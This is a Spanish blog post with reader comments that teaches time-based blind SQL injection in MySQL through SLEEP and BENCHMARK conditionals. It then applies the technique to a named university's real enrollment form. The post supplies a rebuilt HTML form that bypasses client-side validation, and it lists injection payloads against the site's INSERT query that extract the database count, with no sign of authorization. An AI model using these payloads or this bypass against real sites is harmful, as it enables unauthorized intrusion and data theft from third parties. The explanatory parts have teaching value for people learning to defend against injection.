miércoles, 5 de enero de 2011

Time Based Blind SQLi

 En el post Hacking the FISI Again vimos que un Blind SQLi se explota de forma especial puesto que no muestra la información en la pagina web pero si que nos permite deducirla en base a su comportamiento.

El comportamiento, en aquella ocasión estuvo basado en la respuesta del servidor (eso de pagina normal y pagina de error). A ese tipo de Blind SQLi se le denomina Response Based. Sin embargo existe otro tipo de inyección a ciegas basada en el tiempo de respuesta del servidor y se denomina Time Based. En este post nos ocuparemos de explicar un poco sobre esta técnica de explotación y pondremos un ejemplo real como ya se nos ha hecho costumbre }:]

Como ya se dijo el Time Based nos permite deducir la información de la base de datos de acuerdo al tiempo que el servidor demora en responder. La idea es inyectar una condicional que de ser verdadera provoque un retardo en la respuesta del servidor y que en caso contrario, responda inmediatamente. Entonces haríamos muchas consultas variando la condición hasta detectar el retardo. Cuando eso suceda sabremos que la condición ha votado verdadero. Nuevamente el servidor se comportará como un oráculo y si hacemos las preguntas adecuadas podremos sacar la información lentamente.

Las técnicas para producir el retardo varían de acuerdo a los diferentes gestores de bases de datos. Para MySQL podemos usar cualquiera de estas dos funciones: SLEEP() y BENCHMARK()

La función SLEEP() provoca un retardo igual al número de segundos que se le pasa por parámetro, lo que es muy conveniente pues nos permite producir un retardo de tiempo fijo. Sin embargo esta función solo esta disponible para versiones 5.0.12 o superior. Ejemplo:

SELECT SLEEP(4)-- Produce un retardo de 4 segundos

En caso no podamos usar SLEEP() podemos intentarlo con la función BENCHMARK(). Esta función recibe dos parámetros: el primero es un número que indica las veces que se debe ejecutar la expresión que va en el segundo parámetro; el segundo, como ya se mencionó, es una expresión SQL cualquiera. Si el número de repeticiones es muy grande es obvio que se producirá un retardo en la respuesta. El problema con este método es que el tiempo de retardo depende de variables como la expresión que se repetirá o la velocidad del servidor, por lo que no se puede saber con precisión.

SELECT BENCHMARK(1000000, SHA("test"))-- Produce un retardo no determinado

Ahora bien, el retardo debemos incluirlo dentro de una condicional de modo que solo se ejecute cuando la condicion sea verdadera. Por ejemplo:

SELECT IF(1=1, SLEEP(4), 1)-- 1=1 es verdadero entonces se ejecuta el retardo
SELECT IF(1=0, SLEEP(4), 1)-- 1=0 es falso, no se ejecuta el retardo.

Pasemos a la acción. El ejemplo del que les comentaba al inicio se trata una vulnerabilidad en la pagina de la facultad (sí, otra) Esta vez la descubrió nuestro amigo w1b1, hace ya buen tiempo. Entonces, después de darle unas vueltas, no conseguimos explotarla como lo hicimos con las vulns anteriores puesto que se trataba de una orden INSERT y no un SELECT. La diferencia entre estas dos es que INSERT no devuelve nada por lo que no podemos generar un error en la aplicación y siempre se mostrará la misma pagina (no hay pagina de error). En ese momento, aún no habíamos considerado usar Time Based sin embargo ahora veremos como, usando esta técnica, la vulnerabilidad es perfectamente explotable }xD

Esta es la dirección donde esta el formulario vulnerable:

http://www.sistemas.edu.pe/inscripcion.html

Si tratáramos de hacer algunas pruebas desde ahí veremos que está validando que los campos del formulario no contengan caracteres especiales.


Qué puedo decir, peor es nada, solo que para la próxima deberían hacer la validación del lado del servidor y no con javascript. Ya que saltarse esas "medidas de seguridad" es tan sencillo como copiar el código fuente del formulario y quitarle los scripts que hacen la validación para tener nuestro propio formulario sin restricciones xD

<html>
 <head>
 </head>
 <body>
  <form method="post" action="http://www.sistemas.edu.pe/postgrado/inscripcion/correo.php">
   <table>
    <tr>
     <td>REGISTRO DE DATOS</td>
    </tr>
    
    <tr>
     <td >Nombre Completo</td>
     <td><input name="nombre" type="text"/></td>
    </tr>
    
    <tr>
     <td>Email</td>
     <td><input name="email" type="text"/></td>
    </tr>
    
    <tr>
     <td>Telefono</td>
     <td><input name="telefono" type="text"/></td>
    </tr>
    
    <tr>
     <td>Programa de Interes</td>
     <td><input name="interes" type="text"/></td>
    </tr>
    
    <tr>
     <td>Consulta</td>
     <td><textarea name="consulta"></textarea></td>
    </tr>
    
    <tr>
     <td>
      <input type="submit" name="Enviar" value="Enviar" />
      <input name="Cancelar" type="reset" value="Cancelar">
     </td>
    </tr>
   </table>
  </form>
 </body>
</html>

Ahora, si le metemos una comilla simple en cualquier campo veremos el error de sintaxis.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''','')' at line 1

Para entender lo que haremos a continuación es preciso conocer un poquito sobre la orden INSERT. Esta orden se usa para añadir un nuevo registro a una tabla de la base de datos y su sintaxis más o menos es así:

INSERT INTO tbl_name (col_1, col_2) VALUES ('val_1', 'val_2')

Donde tbl_name es el nombre de la tabla donde se insertaran los datos, col_1 y col_2 son los nombres de las columnas de tbl_name y val_1 y val_2 son los datos que se registraran en col_1 y col_2 respectivamente. La zona donde van los datos es la que podemos manipular para inyectar nuestras consultas SQL.

En nuestro ejemplo, observamos cinco campos: nombre, email, telefono, programa y consulta. Podemos intuir que la orden tiene esta forma:

INSERT INTO tbl_registro (nombre, email, telefono, programa, consulta) VALUES ('$nombre', '$email', '$telefono', '$programa', '$consulta')

Haremos la inyección con el campo programa escribiendo lo siguiente:

', IF(1=1, SLEEP(4), 1) )#

Observamos que hay un retardo de aproximadamente 4 segundos antes de que el servidor responda. Pero si cambiamos la condición a falso el servidor responderá casi de inmediato.

', IF(1=0, SLEEP(4), 1) )#

En resumen, si hay retardo significa verdadero y si no, falso. Con lo anterior, queda probado que esta vuln se puede explotar usando Time Based }:]

Ahora juguemos un poco xD Averiguaremos cuantos registros hay en la tabla information_schema.schemata (el número de bases de datos ;))

', IF((SELECT COUNT(*) FROM information_schema.schemata) < 100, SLEEP(4), 1) )#     (verdadero)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 50, SLEEP(4), 1) )#      (falso)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 75, SLEEP(4), 1) )#      (falso)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 87, SLEEP(4), 1) )#      (verdadero)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 81, SLEEP(4), 1) )#      (falso)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 84, SLEEP(4), 1) )#      (verdadero)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 82, SLEEP(4), 1) )#      (falso)
', IF((SELECT COUNT(*) FROM information_schema.schemata) < 83, SLEEP(4), 1) )#      (falso)


Podemos concluir que hay 83 registros. Lo comprobamos con:

', IF((SELECT COUNT(*) FROM information_schema.schemata) = 83, SLEEP(4), 1) )#      (verdadero)

Y así se le puede ir preguntando otras cosas más interesantes ;)

Obviamente se debe automatizar la explotación usando alguna herramienta. Por ahora estoy investigando eso. Si no encuentro nada quizá me anime a programar algo xD En todo caso ya postearé como automatizar esto después :)

Hasta pronto, saludos.

12 comentarios:

  1. gracias a ti por el excelente trabajo que estas haciendo nos aporta muchos conocimientos,felicidades :)

    un saludo.

    ResponderEliminar
  2. aaa asi se saltaba , de parte del cliente , ejje , chevre ! (00)b ,.. esperando la continuacion.. :F
    vas a ir pa la conferencia ?

    ResponderEliminar
  3. Sí, ya me apunte en el evento del facebook de los que organizan :)

    Y... no te he visto :S que esperas?

    ResponderEliminar
  4. Muy bueno!!!

    Y sabes que sigo esperando un buen tuto hecho por tí de SQLi!!! :P

    Un saludo

    ResponderEliminar
  5. Jaja... gracias...

    Bueno, estoy preparando uno :) ya pronto lo pondré...

    Saludos.

    ResponderEliminar
  6. Solo para decir que la última versión de sqlmap (la 0.9) ya permite explotar vulns SQLi por time based ;)

    ResponderEliminar
  7. anda a un psicologo men. (ojala pongas mi comentario, tambien es para ayudar)

    ResponderEliminar
  8. Gracias por el consejo, pero ya tengo uno en casa ;)

    ResponderEliminar
  9. Mira mi estimado "alguien en la fisi" por que mejor no te dedicas a estudiar en vez de andar webeando por ahi, ya me hinchas las bolas con tus consejos de hacker monse....nos vemos.

    ResponderEliminar
  10. Nadie le obliga a leer este blog, es su decición seguir "hinchandose las bolas" al volver por aquí

    Tampoco llevo este blog con la intención de agradarle a nadie, la primera razón fue simplemente tener un lugar donde compartir lo poco que voy aprendiendo cada día.

    No me creo un "hacker" y si los temas tratados aquí le parecen demasiado "monses", pues lea otros blogs, que para eso hay muchos en internet, o creese uno.

    ResponderEliminar
  11. SI TE VEO EN IO 1 ESTE SIGUIENTE CICLO YA SERIA PENDEJO CAUSA... CUIDAO...YA TU SABES...LAS NOTAS...

    ResponderEliminar
    Respuestas
    1. Te respondo cuando me lo preguntes en persona.

      Eliminar